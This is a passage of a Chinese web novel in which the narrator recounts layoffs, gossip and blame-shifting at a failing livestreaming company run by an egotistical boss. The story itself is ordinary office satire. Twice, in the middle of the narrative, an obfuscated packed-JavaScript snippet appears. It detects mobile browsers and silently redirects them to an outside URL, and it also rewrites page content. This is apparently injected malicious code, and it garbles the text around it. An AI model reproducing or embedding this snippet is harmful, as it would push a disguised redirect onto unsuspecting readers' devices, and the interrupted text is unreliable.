她没听出我的一语双关,沉浸在自己的世界里,“那天不是运营走了,我按照老板说的把他送上电梯看着他走了才行。没想到我过去他位置上说送送他,大家都起来跟着送,本来这也没什么,结果电梯门临关了,小W就哭了起来,说舍不得他。” 我也沉浸在自己的问题里,察觉她没回答,又接了句顺着问,“那有什么,好歹大家一起工作几个月了,她又跟运营搭档了那么久,一时间人走了她无头苍蝇一样,难过一点很正常。但电梯间又没装监控,老板咋知道她送运营的时候哭了?” “唉!”会计重重叹一口气,“都怪我,后来老板打电话问我处理得怎么样了,我一时秃噜嘴就和她说了,发现的时候想闭嘴已经来不及了。没想到老板听了之后就怀疑小W喜欢运营,才这样舍不得哭得这样惨。真的不是我引导她这么想的啊!再说,我不说,那天那么多人都看到了,老板要是想问,别人也会说的啊。回头老板要是问我怎么没把这么重要的情况告诉她,我还解释不清了。” 又来?!我已经不知道做什么表情了我的天呐!无论是对W总裁这个人还是对会计这个人,真的都很离谱,相当离谱!我甚至在考虑,也许我不该苛责W总裁的性缘脑害了我,毕竟就是她自己的亲堂妹,她都能性缘脑搞她。 哦,亲爱的,我伪善地提醒自己,你不该对这种人宽容。 不过,我不得不说一句,会计和W总裁这对主仆,真的是天造地设,一个会转达消息,一个会脑补,再没有这样契合的两个人了! 不论W堂妹和运营到底有没有这回事吧,大姐你这难道不是又给两个人造了黄谣吗?你真的不准备好好反思下自己的脑子是不是也太男欢女爱刻板印象了啊?你是为了找个京市的大哥找了几年还没着落所以已经有些精神问题了吗? 何况那运营比我还大一岁,比W堂妹至少大了八九岁吧,他又那么怕老婆,他俩根本不可能啊!哪怕是那天晚上运营醉成烂泥,W堂妹搀扶他,我也只是厌烦她实在太娇滴滴了,并没有觉得她能喜欢上运营。 “不能吧……老板怎么老爱这么想啊?看到一男一女,她脑子里除了男女那点事就没有别的了?想想小W那个富二代男友……”我话还没说完呢。 会计就开始说,“其实也能理解,运营确实瘦瘦高高的长得也好看的,看起来不像同龄那些男的都挺着啤酒肚。而且人又有爱心,他家孩子都是他操心的多,孩子饿了渴了上学放学,冷了热了,他都太有经验了。我都觉得这小年轻确实不错。” ???大姐,合着不是W堂妹看上运营了,是你看上运营了才对吧!苍天啊大地啊!疯了,这个世界癫了! 我忍受不了了,直接说,“小W好歹交过一个年轻好看的小开,虽然她也不怎么喜欢,但那个男生也比运营好太多了!她脑子坏了眼睛瞎了,才会看上一个有老婆有孩子的男的!而且这个男的也不咋样,你要是见过他在自己的尿里打滚的样子,恐怕你也不会喜欢的。” 我本来想说肯定她也不会喜欢的,但想到她这和W总裁旗鼓相当的性缘脑,我临时改了词,甚至说完我看她表情,完全是没有改变主意的。性缘脑真的是太可怕了! 她对我的说辞很无感,反倒是继续说,“你说她要是真的不喜欢吧,老板晚上回家就当面问她了,结果说她也没否认,那不就是默认了,反正老板就是坚信她喜欢运营了,第二天在会上直接就指着她骂。她气不过,就自己辞职走了。唉!我要是不说就好了,哪怕后面谁给她说了再骂我没报告都行。这样搞得我真的很难做。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163822|196607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把人卖了被戳破了,里外不是人了你知道难做了?那你早干嘛去了,你报告的时候应该挺欢快吧,又立一大奇功,又保住了终身的大太监之位,不是挺划算你才经常这么干的? 造我黄谣的时候可没见她有这样忏悔和唉声叹气过,因为我一直没发现啊。哪跟这回似的,她下午说老板晚上就问了,还当面问的,揭示得明明白白。车撞墙了知道拐了,鼻涕流嘴里知道甩了。 最后我安慰她,“嗐,没事儿,老板没怪你就都OK的。” 第二天,W堂妹当然没来,但是O女士照常来了。哦,迟到的那种。比没来强吧。 她爱穿通身长裙,盖鞋面的那种,爱画上世纪流行的老派浓妆,贴又长又翘的睫毛,画又长又深的眼线,打大地设偏橘红那种浓丽的眼影,描黑色的唇线涂满满的大红色偏暗色的口红,还爱自己做美甲,有时候在公司坐着没事,她就自己在那里做指甲。别说,她绝对是大家眼里精致的老阿姨,我五六十的时候要还有这精力全身上下捯饬自己,我都会佩服自己的,尤其我这会儿都不捯饬的情况下。 下了电梯她翘着长长的美甲拎了一角裙摆进门,我抬头见她,招呼了一声O总。她抿着嘴、板着脸,浓重的脂粉遮掩了脸上的色斑细纹,法令纹和眼周的皱纹却无所遁形,她眼睛轻飘飘在我脸上划过和我眼睛对视一下,然后极其不爽地翻个白眼走过前台朝财务室去了。 我自从被撤职之后,有招惹过她吗?完全没有过吧,那之后我们甚至打照面都很少。真的是莫名其妙! 没一会儿,她又从财务室里出来,进了前台后一墙之隔的接待室,会计也跟了过来。我寻思难道今天W总裁要带客户来公司吗?提前让人来收拾下? “什么?O总你也要走了?你怎么突然要走了呢?”会计震惊的声音清晰传来。 我寻思她俩不用那么大声的,这墙根本不隔音,别说开着门,就是关着门正常音量说话,前台也听得见。 “是啊,我决定提前退休了,回家享受生活去。”O女士说。 会计惊叫,“啊?提前退休?是老板的意思吗?” 会计那声调语气真的怪不得人感觉她做作,平时她说话也不是这种一惊一乍的风格。跟老板面前她是沉稳的,跟小喽啰们面前她是温柔的,跟我聊八卦的时候她是绘声绘色的。所以她这演技真的,要不从声音开始改变下吧,别一开演就在台词上下功夫太过。 相比之下,O女士淡定得多,非常能显示出来她吃得盐比我吃的米还多,“哪有。她让谁走也不可能让我走。但是啊,她这次有太不给我家宝贝面子了,我也不是总要看她脸色的,我好歹是她亲婶婶,是她的长辈呢。” “可不就是说呢,W总裁还是很敬重您的。但是,你这要走到什么时候回来啊?你不在,我一个人可怎么办?都没人可以说话聊天了。唉。” “别难过啊,我也觉得跟你啊处得来处得好,我这人啊没什么弯弯绕绕的心思,我最烦的就是那种装模作样的人!最看不惯那种人了!你啊就不是这样,有什么说什么,有什么好东西又爱跟我分享。”O女士大概太想传达给外头的我信息了,以至于她忘了自己是在接会计的话,跑偏了。 不过很快她又想起来了,“我和W总是割不断的亲情,哪怕不回来上班了,逢年过节也还是会回来她家里坐坐,咱们再聚啊。而且啊,说不定我回去几天,W总还发现离不开我呢,还要给我叫回来。我啊,就回去等着她叫我再说吧。” 会计还是沉浸在悲痛中,“可是,我还是很舍不得你啊O总,你走了我都没人说话了。” O女士也没顾上她的颠三倒四,“咱们还有电话呢还能视频呢。唉,我跟她干了几十年了,也累了,说实话,她叫我回来我都不太想回来呢。反正这回我走了,她叫我我再看吧。”还不忘拿乔。 我也不知道这俩特地给我唱这一出是要表达什么? 把我当敌人?所以吓唬我,让我知道老板多么离不开她们,她们不好惹。可是这和我有什么关系?我也没有要搞她们,或者是借老板的手搞她们。她们这是弄错跟我的关系了吧。 我理解不了,是因为我不是她们,我不想搞她们所以不用想什么防御什么出招策略。但设身处地站在她们的角度想,她们想搞我,所以理所当然地觉得她们这样全方位防御和出击才到位。 把我当潜在盟友?所以是借机透露给我消息,好让我去主动给老板说清,帮她们一把,让她们留下,继续坐高位,继续搅屎。抱歉,我想说搅弄风云的,又实在觉得这权谋太顶级了,配不上。 这我也理解不了,因为我依然不是她们,不知道她们眼里看到的我到底有多大的能量多厉害的招数,我自己眼里根本就是啥也没有,随心而为。但设身处地站她们角度,她们现在溺水想求救,随便来个什么只要能漂浮的,估计都想抓一把试试。 总不能是把我当朋友吧?当朋友干嘛给我摆臭脸翻白眼,还跑我身后唱戏忽悠我? 不是朋友就说明一切了,我对没有真心的人,从来也不会真心相待。我必须霸总一下:能得我平常心相待的都跪谢吧,不要想知道我厌恶的人会得到我什么待遇,那很危险。 因为我也不知道我的底线在哪里,也因为我还没想着去试探。 17. 杀忠臣了 周一W堂妹演,周二O女士演,周三该轮到谁了呢? 我们也不知道,谁和我我们?是诗诗。诗诗坚信老板不能裁她的,毕竟她肚子挺那样大,她说她粗略算了下自己的赔偿金,大约是二三十万。这数字对于W总裁全部身家来说可能就是洒洒水,但要一下子白给一个人这么多钱,谁能舒服啊? 那谁会是周三的幸运儿呢?不知道,看起来没有幸运儿要诞生的样子。也是哈,现在除了会计,剩下的四个人,诗诗不能动,我是她上次就坚持要留还说出养我一辈子的。 至于L总和L总监,这俩不是她的最爱吗?我可没忘了她那次和我说这俩是多么好的男人,一个英勇仗义乐于助人,一个讨好她的方式笨了点但她善啊愿意养着他反正他也快退休年龄了。关键是,这俩对她都“忠心”啊!这可是打着灯笼都找不到的好人才了,一个都不能开,总不能开了会计啊! 就在我觉得今天没瓜可吃了的时候,会计突然找了L总监谈话。很快,几乎没费什么功夫,L总监出来后就收拾了东西然后背着包准备走了。 啧啧!这样忠心的狗到底是做了什么事让主人都不得不踢走了他?总不能是因为没钱了吧?我看这个原因靠谱。近一年的直播项目运作下来,一毛钱没赚,租了那么大地方又是装修又是招人的,只见哗哗花钱哪里有赚一分钱进来哦。粗略估计至少也赔了三五百个,可不就真的养不起人了。 可见资本家在砸钱解决一切问题和节衣缩食无法再伪善之间,不过是眨眼的事情。 办公区那边吵吵闹闹的,我隐约听见什么,“对不起X总监,是我有眼不识泰山了,昨天冲撞了你,你多多谅解。”这是L总监对会计说的。 咋回事,这俩又吵起来了?话说昨天O女士走之前,去和L总监聊了会儿。他俩好像是年龄相仿来着我记得,同龄人聊得来。以往L总监为了捧这位老板的亲戚,给她洗菜洗碗可积极呢。 也不知道他俩聊的啥,反正O女士走了之后没多会儿,他突然和会计吵起嘴来。具体吵什么我也没听清,会计办公室离前台是最远的。只隐约听见什么“小X你这样做太不地道了……怎么可以这样让小W和O总走了呢……”之类的。 L总在旁边是不是说两句废话打圆场,还是没劝下来,诗诗也惊动了,我也起来往那边去看看,结果只见L总监气冲冲地出了后门,然后会计一副脸上挂不住的样子回了办公室。 诗诗离得近,肯定知道,我就问了她,从她那里还原了下情况。 应该是O女士去和L总监聊天,说自己和女儿都是被会计打小报告给老板了,老板听信她的谗言就给她母女俩甩脸子了,眼下她们走也不是自愿,只是没办法了不得不主动走,说不定老板想起来亲情了还给她们半路劝回来呢! L总监知道了真相,十分生气。他和O女士年龄差不多不多,也是把W堂妹当自己女儿看待的,一想到自己的“老婆”和“女儿”这样被一个会计欺负了,心头火起,然后就跳出来找会计要说法。 会计当然不承认啊,就和他吵了起来。L总监本来也就是兴师问罪一下,没预料到她还敢和自己吵,于是说她一个小会计跟自己这个总监装什么相,更别说她还敢搞老板的亲婶婶和亲堂妹了,简直大逆不道!会计冷不防被人骂一个小会计,简直给她踩到泥里去了,哪里忍得了,两人不欢而散。 真是刺激!一条绳上的蚂蚱打起来了。哦不,互相啃食血肉起来了!我越发不理解W总裁了,咱见过养蛊的,都是各种毒物放一起互相吞,直到剩下最后一个。她个这里倒是有了创新,拿蚂蚱来养蛊呢!真是奇葩。 之后两人没再说话也没再争吵。下午四点多,L总准备下班了,哦不,他是有公务要外出,还顺便带着L总监一起出去帮忙。咱也不知真假,反正他俩走了空气也干净些,都了好。谁也不会去过问他俩早退干嘛。 他俩一走,会计溜达来了前台。我寻思她来干嘛呢,就听她义愤填膺和我说:“这个L总监,真把自己当回事了,就是个打秋风混日子的,他当老板不知道吗?关键他竟然敢小看我,说我一个小会计敢管他总监的事儿!” 这似乎是她的死穴,只见她气得眼睛都红了,平时温柔可亲的一张脸都有些扭曲起来,恶狠狠地撂下话,“我倒要叫他看看,我这个小会计可掌握着决定他去留的权力,不过是我和老板说一声的事情,他一个总监算什么?真是不知天高地厚……” 这是她少有的状态,我一时看得呆了。大嬷嬷/大太监登基了这是?难道是我错看了她一人之下万人之上的奴性,其实她可是个有夺权能力的野心家? 结果一早大家在电梯里碰见,她还笑眯眯和L总监打招呼,仿佛昨天的不愉快完全没发生过一样。我还以为昨晚上老板给他俩调停了,两人好起来了呢。 没想到啊没想到,相安无事的一上午过去我以为没戏了呢,突然又书接上回,唱上了!还在我听清之前就唱完了! 会计这通狠话有些分量呢!我之前辞职那回,她提前喜不自胜的样子,让我不禁怀疑是不是她跟老板打电话做了什么工作?也不知道老板怎么回她的,以至于她误以为我是走定了,提前开了香槟,结果翻了车。 这回算是见识到她撂狠话的水平了,一口唾沫一个钉呢!L总监这低声下气道歉的声音,有当时我怼完他说辞职不陪玩了的时候,坐立难安甚至嗓音有些发抖内味儿了!这人咋一把年纪了这么不长记性呢? “再见~”出大门的时候L总监破天荒跟我道别,仿佛我俩同事关系很好似的。 因为速度太快了,我压根没意识到他这是已经被开且开完了,而且他故作闲适的姿态,让我差点都要以为他是被派出差呢!所以我完全没反应过来回应他。这时,电梯上来了,就见他一脚踩进电梯车厢突然又退了回来,转身往办公室里跑,匆忙去了他工位。 这又是要唱哪出?难道是越想越气要进去打会计一顿吗?显然我现在的脑洞已经超越正常阈值了,什么天马行空的桥段我都能毫不怀疑地接受它存在的可能。 这当然不会发生。L总监再出来的时候,手上拎了一个袋子。这次不用他来,我已经准备好了,不就是和他说再见嘛,我才张了张嘴,他突然低头从袋子里掏出来一盒八珍糕放在前台上。 “这东西也用不上了,M总我分你一盒吧。哎呀,刚走得匆忙我差点都忘了拿了。”这是他来这里做商务选品几个月,选来的唯一一款产品,貌似好像还是L总自己的关系给了他联系的,不得不说L总为了保自己这个心腹是下了点功夫的。 我咽下到嘴边的再见,真心微笑拒绝,“这东西L总监你就自己带走吃吧,你年纪也大了要保重身体,这八珍糕不是宣传语就是最适合你们嘛。” 我发誓我绝对是真心拒绝的,这东西说是原料很健康,宣传也是非常健康,但是真的非常难吃,生不生熟不熟甜不甜涩不涩苦不苦臭不臭的,反正味道非常奇怪。而且我记得这玩意儿说了为了健康什么都没添加,保质期很短的,这小半年了,还没过期? L总监显然不允许别人拒绝他的好意,“给你你就收下,你不要就是看不起我这个人。咱们同事那么久,我是很敬佩M总你的。” 他这没头没脑的一通,叫我满头问号,这是人之将走其言也善?可我没问他啊,也不想和他说这么多话。 不过,看他满眼渴望等着我问到底发生了什么事的样子,我想着人之将走就成全他一回吧,于是我问,“你这是干什么?” 他两眼放光,好像找回主场的机会来了,立即竹筒倒豆子和说,“昨天我不知道X总监的身份,说了点难听的话,结果今天老板就让小X找我聊天嘛,哦,财务总监找我聊天。我俩没吵架的真的,说得好好的,她也特别和气,一点也没有计较昨天我的莽撞。” 他的表现生动诠释了什么叫人在尴尬的时候就会话多。我都没问,他就自顾自解释起来,极力要自证他俩关系很好完全没事。为了给自己面子,把打自己脸的人的面子也照顾到了,真是好豁达啊!但这个豁达他咋就没用对地方呢? 他终于解释够了,也可能是见我不耐烦,于是接着说,“财务总监和我说,直播项目解散了,做不下去了,老板也还没想好新的方向做什么,所以好好和我商量的,让我回家先休息一段时间等消息,新项目上了,就还叫我回来继续干。” 说得他自己都信了吧,要是他的表情和眼神更加真挚一点,我说不定也会信的呢!这时候了还要如此辛苦维护自己根本没影子的尊严,还不如跟我卖惨。这出戏没意思。 我兴趣缺缺了,说:“是嘛?那你慢走。” 哎,猜猜怎么着,他不仅没走,还在原地手忙脚乱地给我比划,反复说:“你不要觉得这老板开了我,她们的好好和我商量的,很尊重我的意见。这绝对不是我被辞退了,不是开了我了,和之前被开那些不一样的,她们还承诺我等我回来还给我当总监,说不定我过两天就回来了!” 我点点头,“好的,期待你能早点回来,和O总小W一样。” 也不知道他对我这话满意不满意,反正他张张嘴还想再说,又最后憋了回去没说什么。哦,他甚至忘了和我说再见,终于头也不回地坐上了电梯,为了不和我对视,还躲到了按键板后面。 说实话,对L总监这个人,我观感一般。他那些烦人的小心思小动作被我当面以牙还牙以眼还眼,尤其是现在都过去之后,我真的对他谈不上有什么情绪。 毕竟五十出头的老头了,家也养不起,子女都是跟老婆在家种地生活的,他自己早些年就出来首都说是闯荡,此后赚不到钱就不管家里了,过年都不回家的,这些信息来自会计给我说的八卦。 他这种没啥实际能力的,年纪还这么打了,确实也找不到工作,得亏他遇到了他的伯乐L总才能先后来这里混了两回,这两段各大半年的生活,说不定是他此生最舒服的时光了。 这种人,讨厌他恨他都是奖励他了,所以我完全只剩无感和一些唏嘘。这种人真可怜,不是那种让人心痛同情想要帮助的可怜,是那种看着都有点好笑的可怜。他一直嘴上说自己多么厉害多么有资源,吹嘘自己贬低别人,其实都是为了显出他的价值,好让老板多多怜悯他,赏他一口饭吃。 我想我这辈子是吃不上这口饭了,所以对于他和W总裁这种畸形的互相需要的感情,不理解但祝福。 至此,所有能开必开的基层员工已全部清除完毕。我觉得这出闹剧该停止了。 第四天一早,诗诗干脆直接坐在了我旁边,她那个办公区已经没有人了,一个人呆着刷手机看电脑也无聊,跟我坐一起还能聊聊天。 “M姐,你说老板还会继续做直播吗?”诗诗剥着一个黄橙橙的枇杷,“咱们这些官媒谈下来也不容易,这么搁着都浪费了。只要老板愿意让你重新继续拉个团队,咱们还按照原来的路子找明星或者大网红来直播,我那些商家又不是谈不进来。我还是觉得当时来面试你和我聊的路子是可行的。” 我一边敲着键盘修改PPT,一边答她,“我看W总裁可能不想做直播了,她已经瞄上新赛道了,上回醉酒那事儿,就是她在和慢脚的聊竖屏短剧,而且她已经接触很久了,估计是要往那边去发财咯。” “啊??”这对诗诗来说显然不是个好消息,“她不搞直播了,那我留着还能做什么?我只会直播选品,跟她短剧那些完全不懂啊!” 这我也不知道啊。我摇摇头。 诗诗觉得枇杷都没味儿了,“我还以为她开掉这些人是为了重新开始直播。唉。看来没开我真的只是因为我怀孕了不敢开我。我也不是备孕来的公司,真的只是意外。其实我肚子挺这么大也不会耽误工作的,我还说她要是愿意重开,我也能好好努力干到生,给孩子赚奶粉钱,我坐月子也安心,完了回来也能继续拼,其实谁想找工作啊。” 她这事儿真的她自己不提我还都忘了。她应该是入职就怀孕的或者是瞒着怀孕的消息入职的,公司本来要体检报告,但她一直没给,而我刚好被卸任了也没人管她要手续,入职三个月后她宣布了喜讯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163823|196607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家都很震惊,她只笑笑说因为满三月了可以对外讲了。 这其实也没什么,她哪怕当时和我说了她在备孕可能已怀孕或者已怀孕也没问题,因为她确实是我面试的所有选品中,工资范围内能力最好的。事实上,她来上班之后工作产出也一直在线,三个BD,L总监那1个产品可以忽略不计,开播以来选的产品70%是诗诗的,30%是实习的娜娜的。 如果不是我被横生枝节撤职,继续执行招商选品政策下去,她依然肯定是表现最好的。可惜一切走向陡变之后,直播项目再也没有真正开始过,显得好像BD也没做出任何成绩似的。 会计从开始辞退直播的人员时就和我抱怨过,老板其实早想连诗诗也开了,就是因为她怀孕了才没办法。老板得知诗诗怀孕的消息时也跟当时负责的L总等人发过脾气,会计说他们都把锅推到了我头上,是因为我招人没问好,后面收资料没把关。 我也就听一耳朵过去了,我都被撤职了还操什么心,这锅想让我背就让我背,又没人跟我对峙我还能申辩几句咋地?爱谁谁。何况诗诗工作能力摆在那里,他们这些人既要又要的想得倒是美。 “你也别担心,不管她后面要做什么项目,反正现在肯定是不能动你的,要动你就要谈赔偿,你谈到自己满意的再决定要不要走。横竖自己的权益保住了。”我安慰她。 “唉。”她叹口气,终是没说什么。我们都对这个项目很遗憾。 午休,诗诗还是在直播室沙发上盖着毯子睡的。她还没起来的时候,我看见会计把L总叫进了财务室。 啥?不是我想的那样吧?连L总这个跟了十几年的老部下大忠臣也要踢了? 小半个小时,他都还没出来,我更为疑惑了,去接水的时候看见会计把百叶帘拉得严实的,也不知道两人在里面啥情形。 哈哈哈哈,我倒是突然想起来,那会儿他们给我造黄谣,说我和Y表弟在从来没拉百叶帘的办公室里搞恋情。眼下会计自己在屋里和L总帘子拉得这样严丝合缝,但凡我有心拍照录个视频发给W总裁,不知道她要脑补出多激烈的场景来。 啊,得是多么大的利益诱惑才会让我干出来这事儿呢?我不知道。但我知道,他们为了W总裁的光杆总经理和一万工资或者养到退休,就能干出来。 回到电脑前,我专注了一会儿,把PPT改完给W总裁发过去,没坐多会儿,就见会计溜达过来了。这俩在我专注的时候谈完了已经?可是没见L总背着包离开啊?我不可能专注到前台人走过了也没看见的。那估计就不是被开了?行吧。 会计往前台一靠,有些伤感和萎靡,“L总走了。” “啊?什么走了?也开了?”我见会计点点头,这反转也太快了吧,“怎么突然决定开了他?他不是跟了老板十几年了,要效力到退休的吗?” 会计扯扯有些上火的嘴角,“哪能啊。他要是跟老板好好干,能赚钱,做出成绩来,不说赚到自己的工资吧,几百几千的好歹也有些,老板养着他到退休也说得过去。他这几年跟的项目不仅不赚钱,还经常把项目做死了,老板再好的人也养不起他。” 她这番话叫我有些懵逼,我先见她伤情还以为她可惜舍不得L总呢,结果这话看她又对L总都是批评,到底啥意思这是? 想不通这些人的矛盾行径,我聊点正常的话题吧,“他已经走了?我没看见他出去啊。” “从后门走的。”会计摆摆手,“可能怕从前面走你看到了丢人吧。” “我又不跟他们似的落井下石笑话人。”啥叫以己度人啊,他们这就是,“这咋搞得好像他们全被开了都是我干的似的,哈哈哈,我成终极大BOSS了。” 真有些好笑,原来都这么怕在我跟前丢人吗?他们在乎的竟然是这个,真奇怪的思路。 会计也笑,“可不是吗?他们都觉得是怪你他们才会被开的。” 那我可太厉害了,挺好的,这个人设不错。我又问,“老板给他赔偿吗?” “赔偿?”会计显然诧异,“他要赔偿他好意思吗?没给。和L总监一样,都没给。他们要不是在老板这里,根本就找不到工作的,这里给他们高工资已经很不错了,开了还想要赔偿,咋不上天。” 我其实还真的不太信,“他俩不给赔偿也能顺利打发走的吗?不闹?”这把年纪了开了就找不到工作了,要点赔偿好歹还能支撑一段时间呢。 会计摇头,“闹什么啊,他们还指望着老板再开新项目请他们回来继续领工资呢,要了赔偿就没戏了。” “老板不会还真的准备开新项目给他们请回来吧?”我觉得更为离谱。 “说不定呢。谁知道。”会计摊手,可能觉得这样显得她太残忍了,于是又说,“其实他们人都挺好的,人是没有问题的,只是工作能力差了一点。老板对他们也没有很高的工作水平要求,只要能帮她对接好服务好维持好就行,他们本来用点心就能做好的。” 我想笑,“老板现在不是想进军短剧赛道,这个行业更新鲜更年轻了,他们两个加起来一百多岁的,你觉得他们进去能做什么?有体力还是有脑力?” 会计也不懂短剧里面都有啥工种,“这还真不知道。反正对于我财务来说,只是行业换一换,做账还是那个原理没变。不过你说的也对,他们可能还真不适合。” 诗诗醒来得知连L总都被开了,对自己的前路更为担忧了!毕竟直播项目不做了,她是真不知道还能跟老板做什么,她之前做选品积累的商家资源,在短剧这边可基本没啥用处。要是给她安排行政打杂那些,低工资死工资,她也看不上不愿意干啊。 第五天上午,W总裁突然来公司了。 一来就和我说要去上次他们去开会的那个官媒,我陪她一起去。我记得那官媒不是一个多月前,把W堂妹运营等直播团队人全部叫去开会,然后问责要一个周内给解决方案的,他们回来折腾得鸡飞狗跳但就是一直没给结果啊。 这会儿去是干嘛?我的天,不会吧,难道这锅是要让我背? 18. 娇牛马&资本家 难道真的是要赖在我头上?怪我把合作方案弄得太好了,搞得诈骗了官媒跟我们签下合作,也搞得执行的人做不出来? 然而我想太多了,到了人家楼下,我才知道老板压根没约到单位领导。也可能是约了人家没搭理她,她这是不请自来的。因为我们到了楼下被被拦住了上不去。她临时在楼下给人领导发了消息,等了小半个钟头,人派了一位对接老师来接的我们上去。 我正担忧恐怕要面临三堂会审的情况,结果这位对接老师把我俩带到了一个四五人的小办公室里,只说领导很忙在开会没空。意思就是,这位对接老师就是接下来和我们聊的人了。对比当初我和她来提案立项的时候,对方一把手和多媒体部一字排开八九个人,重视程度不言而喻。 W总裁跟对方一再道歉,并说是直播行情不好了所以才做不起来的。对接老师十分客气,也没刁难我们,只说理解,又说会尽快寄解约合同给我们。 我俩全程可能也就坐了不到十分钟吧,出来之后,我又听她给那位领导发了道歉的消息。说实话,跟她干了几年了,我见过最多的是她神采飞扬、威风凛凛的样子,还见过她指点江山的自信,见过她雷霆万钧的暴怒,有见过她受挫低落的萎靡。但这低三下四的样子,真的是第一次见。 她刚刚小心翼翼乞求的语气不像作假,但这事情原本可以不搞到这种地步的,这是何苦呢?早知今日,何必当初。 想到这个项目我也付出了千万分的期待,一时间也是感慨良多,同病相怜我打算要不说点什么安慰她几句。 还没开口就见她把手机一放,如释重负地大松一口气,然后作出精神振奋的样子说,“哎呀,终于结束了!这直播真没意思,咱不干了!我准备立即投入新赛道,咱们争取年前就发一笔财!” 这走马灯似的一出闹剧确实终于结束了,我没想到她比我还感慨呢,“直播其实挺有意思的,只是咱们确实经验浅……”既然是安慰人嘛,谦虚几句总没有错。 她怪异地看我一眼,“你也知道是经验浅了的问题,你看看你招的这些都是什么人,事情没干出点样子来不说,竟然还敢怼我,害我赔了那么多钱开人。” ???看来还是赔得不够多不够深刻,连反思都反思不明白呢! 我打量了她一会儿,看她神色坦然,竟是真的没有一丝自省自愧,要不是深知她性缘脑毒入骨髓,我都差点要羡慕她这超绝自大和主体性了。 我没想和她辩解太多,只说,“我做的方案我知道,要是当初从头到尾我亲自带着坐下来,不会是这样的结果。” “都结束了没必要说这些了,一点小钱而已我还赔得起。”她可能也自知理亏,没再自欺欺人扯出什么歪理来,“哎,你看看我这个新赛道,竖屏短剧怎么样?我觉得啊,我本身媒体出来的,就最会做这些了,而且我看市面上的短剧都啥啊,又土又俗,我要是进入这个赛道,就做点不一样的,肯定爆卖!” 真是令人迷惑的自信。我想了想还是决定给她说几句心里话,“如果是砸钱进去玩资本炒作,跟着赚一笔,眼光好挑几个爆剧,确实能挣钱。如果是打算自己投入进去从拍摄制作到上平台播放,我感觉很悬,没有自己的核心团队成员全都临时拉人凑合,那可能是和直播一样最后出大问题。” 她不以为意,“我有数。这个我懂。我闺蜜就是制作人,她团队做长剧的,前段时间那个很火的XXXX电视剧你知道吧,就是她团队做的剪辑。” 制作人的团队去做剪辑?我只觉得更不靠谱了。虽然我不是很了解电视剧的制作到底牵涉多少环节,但随便看一个剧,最后那长长长的名单,涉及的人员和公司多如牛毛,哪怕就是一个剪辑,可能都由几个公司来联合完成。 以W总裁这种一拍脑袋就上的脾气,惯于掏一点钱就都想当然解决所有问题的态度,我已经不看好她亲身参与的项目,当然更不会看好她现在想做的这个竖屏短剧赛道。 显然她自己也知道她对这个赛道了解的东西不多,没多少可以说的,不一会儿就把话题转到了别的事情上。 “O总和小W我不准备叫她们回来了,这么多年她们在我的保护下也过得太好了,对外面的世界一点概念都没有,让她们自己去谋生吧。”她感叹到。 这真叫人意外,“是您叫她们走的?那我听O总说她也干累了决定自己提前退休啊,小W也说是她自己想辞职,会计帮你劝都劝不住她。” W总裁像听到什么笑话。“她们自己想走?她们根本都舍不得离开才对。我直接给她们说她们回老家去吧,不用回来了。” 我一时间不知道她们谁说得是真话。不过,显然W总裁没必要跟我说谎,而O总和小W可以和L总L总监一样是为了面子说谎和故意夸大更为合理。 不过,W总裁这意思来看,难道她终于发现家庭作坊的危害了?所以这次闹这一堆是借机清理后宅?我发现把她的角色理解为一个封建土皇帝之后,她的很多行为逻辑解释起来果然都非常符合。 要知道,O女士和W堂妹可是跟了她二十多年了又是亲人,O女士一直管着她的后勤,W堂妹是她看着长大的。虽然不知道她这叔叔到底是什么情况,但从W堂妹是跟O女士姓,可见这叔叔可能是没了。这事儿是人家隐私我没打听过,这么托孤的情形去打听太伤人了。 不得不提的是,说到这个跟谁姓,我也是佩服O女士的,毕竟连W总裁自己都这么能干了,养着一大家子人甚至是她老公,但她孩子都是跟老公姓的。 “别说他们了,就是运营和中控那些人,其实根本都不想离开我的公司!我这里资源这么好,项目这么多,留下来跟着我好处多得不得了!他们不像你,本事大有追求,离开我这里他们再也没有机会接触我这样顶级的资源了。”她又说。 我满头黑线,被她的发言雷得外焦里嫩,我真想问她,她这种小说式的霸总发言到底是哪里学来的啊?!而且真的大可不必因为我在她跟前,这样给我贴金,如果她认为他们的追求俗气肤浅,那我也不认为我的追求就显得多么高尚。不知道的还以为是我瞧不起人家呢。 她真的非常沉迷于自己打造的人设,自说自话也没准备跟我聊得有来有回,自顾自地说,“反正终于这些乱七八糟的人都走干净了,没人捣乱了,我们只管一身轻松重新上阵,这回肯定发财!” 也不知道她说的我们是谁,也不问问我们的意见一不一致呢?不过我没兴趣了也不想问了,戏已落幕,我也差不多该走了。 新的一周如期而至。公司只剩下三个人了。 一周过半,W总裁不知道干什么去了,反正不见来公司,我改好的方案发过去她也只说好就没了,我问了会计她的动向,会计也说不知道。 这天,会计突然私聊我说,要给我发个假的解约通知,让我不要当真。 我还没回复她呢,几乎立即她就在只有四个人的大群里发了一条直播项目解散的通知,并艾特我和挺着肚子的诗诗,让我们去办她办公室签解约手续。 诗诗午休还没起来,也不知道有没有看见消息,我就先去了财务室。什么都没说也没问,既然她说是假,那我就做足了是假的样子,七七擦擦一顿签就完事了。 签完出来,却见诗诗在前台等我。 “M姐,你……签完了?”她看见了我手上的回执单子。 我点点头,示意她过去,“你快进去吧,正好她让我出来后叫你进去呢。和她好好谈。” 